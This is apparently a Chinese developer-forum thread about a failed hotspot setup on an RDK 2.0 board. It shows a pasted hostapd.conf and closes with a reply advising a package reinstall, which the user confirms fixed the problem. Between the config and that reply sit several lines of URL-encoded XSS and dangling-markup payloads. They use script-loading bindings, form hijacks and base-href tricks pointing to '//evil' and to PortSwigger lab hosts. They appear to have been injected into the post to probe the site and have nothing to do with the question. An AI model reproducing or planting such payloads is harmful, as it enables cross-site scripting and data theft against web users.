RDK2.0设置热点模式失败,请问这是咋回事儿?

用户您好,请详细描述您所遇到的问题:

  1. 系统软件版本:2.0
  2. 问题涉及的技术领域:网络基础设置
  3. 问题描述:按照教程设置热点模式,但是出现了以下log,设置失败,是否与这个log有关?

以下是hostapd.conf文件内容:

##### hostapd configuration file ##############################################

# Empty lines and lines starting with # are ignored

# AP netdevice name (without ‘ap’ postfix, i.e., wlan0 uses wlan0ap for

# management frames with the Host AP driver); wlan0 with many nl80211 drivers

interface=wlan0

# In case of atheros and nl80211 driver interfaces, an additional

# configuration parameter, bridge, may be used to notify hostapd if the

# interface is included in a bridge. This parameter is not used with Host AP

# driver. If the bridge parameter is not set, the drivers will automatically

# figure out the bridge interface (assuming sysfs is enabled and mounted to

# /sys) and this parameter may not be needed.

# For nl80211, this parameter can be used to request the AP interface to be

# added to the bridge automatically (brctl may refuse to do this before hostapd

# has been started to change the interface mode). If needed, the bridge

# interface is also created.

# bridge=br0

# Driver interface type (hostap/wired/none/nl80211/bsd);

# default: hostap). nl80211 is used with all Linux mac80211 drivers.

# Use driver=none if building hostapd as a standalone RADIUS server that does

# not control any wireless/wired driver.

driver=nl80211

# Interface for separate control program. If this is specified, hostapd

# will create this directory and a UNIX domain socket for listening to requests

# from external programs (CLI/GUI, etc.) for status information and

# configuration. The socket file will be named based on the interface name, so

# multiple hostapd processes/interfaces can be run at the same time if more

# than one interface is used.

# /var/run/hostapd is the recommended directory for sockets and by default,

# hostapd_cli will use it when trying to connect with hostapd.

ctrl_interface=/var/run/hostapd

# SSID to be used in IEEE 802.11 management frames

ssid=RDK-X3-Robot

# Operation mode (a = IEEE 802.11a, b = IEEE 802.11b, g = IEEE 802.11g,

# ad = IEEE 802.11ad (60 GHz); a/g options are used with IEEE 802.11n, too, to

# specify band). When using ACS (see channel parameter), a special value “any”

# can be used to indicate that any support band can be used. This special case

# is currently supported only with drivers with which offloaded ACS is used.

# Default: IEEE 802.11b

hw_mode=g

# Channel number (IEEE 802.11)

# (default: 0, i.e., not set)

# Please note that some drivers do not use this value from hostapd and the

# channel will need to be configured separately with iwconfig.

# If CONFIG_ACS build option is enabled, the channel can be selected

# automatically at run time by setting channel=acs_survey or channel=0, both of

# which will enable the ACS survey based algorithm.

channel=6

# ieee80211n: Whether IEEE 802.11n (HT) is enabled

# 0 = disabled (default)

# 1 = enabled

# Note: You will also need to enable WMM for full HT functionality.

ieee80211n=1

# Operation mode (a = IEEE 802.11a (5 GHz), b = IEEE 802.11b (2.4 GHz),

# g = IEEE 802.11g (2.4 GHz), ad = IEEE 802.11ad (60 GHz); a/g options are used

# with IEEE 802.11n (HT), too, to specify band). For IEEE 802.11ac (VHT), this

# needs to be set to hw_mode=a. For IEEE 802.11ax (HE) on 6 GHz this needs

# to be set to hw_mode=a. When using ACS (see channel parameter), a

# special value “any” can be used to indicate that any support band can be used.

# This special case is currently supported only with drivers with which

# offloaded ACS is used.

# Default: IEEE 802.11b

hw_mode=g

# Send empty SSID in beacons and ignore probe request frames that do not

# specify full SSID, i.e., require stations to know SSID.

# default: disabled (0)

# 1 = send empty (length=0) SSID in beacon and ignore probe request for

# broadcast SSID

# 2 = clear SSID (ASCII 0), but keep the original length (this may be required

# with some clients that do not support empty SSID) and ignore probe

# requests for broadcast SSID

ignore_broadcast_ssid=0

wpa=2

wpa_key_mgmt=WPA-PSK

rsn_pairwise=CCMP

wpa_passphrase=12345678

Test

Test

%3cimg%20src%3d%22blah%22%20style%3d%22-moz-binding%3a%20url(data%3atext%2fxml%3bcharset%3dutf-8,%3C%3Fxml%20version%3D%221%2e0%22%3F%3E%3Cbindings%20xmlns%3D%22%20http%3A%2f%2fwww%2emozilla%2eorg%2fxbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimplementation%3E%3Cconstructor%3E%3C%21%5BCDATA%5Bvar%20url%20%3D%20%22alert%2ejs%20%22%3B%20var%20scr%20%3D%20document%2ecreateElement%28%22script%22%29%3B%20scr%2esetAttribute%28%22src%22%2Curl%29%3B%20var%20bodyElement%20%3D%20%20document%2egetElementsByTagName%28%22html%22%29%2eitem%280%29%3B%20bodyElement%2eappendChild%28scr%29%3B%20%5D%5D%3E%3C%2fconstructor%3E%3C%2fimplementation%3E%3C%2f%20binding%3E%3C%2fbindings%3E)%22%20%2f%3e

%3cform%3e%3cbutton%20name%3dx%20formaction%3dx%3e%3cb%3estealme

%3clink%20href%3d%22xss%2ejs%22%20rel%3dstylesheet%20type%3d%22text%2fjavascript%22%3e

%3cobject%20data%3dhttp%3a%2f%2fsubdomain1%2eportswigger-labs%2enet%2fdangling_markup%2fname%2ehtml%20name%3d%22

%3cembed%20src%3dhttp%3a%2f%2fsubdomain1%2eportswigger-labs%2enet%2fdangling_markup%2fname%2ehtml%20name%3d%22

%3ca%20href%3dabc%20style%3d%22width%3a100%%3bheight%3a100%%3bposition%3aabsolute%3bfont-size%3a1000px%3b%22%3exss%3cbase%20href%3d%22%2f%2fevil%2f

%3cform%3e%3cinput%20type%3dsubmit%20value%3d%22Click%20me%22%20formaction%3dhttp%3a%2f%2fsubdomain1%2eportswigger-labs%2enet%2fdangling_markup%2fname%2ehtml%20formtarget%3d%22

%3ca%20href%3dhttp%3a%2f%2fsubdomain1%2eportswigger-labs%2enet%2fdangling_markup%2fname%2ehtml%3e%3cfont%20size%3d100%20color%3dred%3eYou%20must%20click%20me%3c%2ffont%3e%3c%2fa%3e%3cbase%20target%3d%22

%3cform%3e%3cbutton%20formaction%3d%2f%2fevil%3eXSS%3c%2fbutton%3e%3ctextarea%20name%3dx%3e

%3cembed%20src%3d%22%2f%2fevil%3f

%3cobject%20data%3d%22%2f%2fevil%3f

%3cisindex%20type%3dsubmit%20style%3dwidth%3a100%%3bheight%3a100%%3b%20value%3dXSS%20formaction%3d%22%2f%2fevil%3f

你好,运行一下apt reinstall obot-boot升级一下就行了

好的 已成功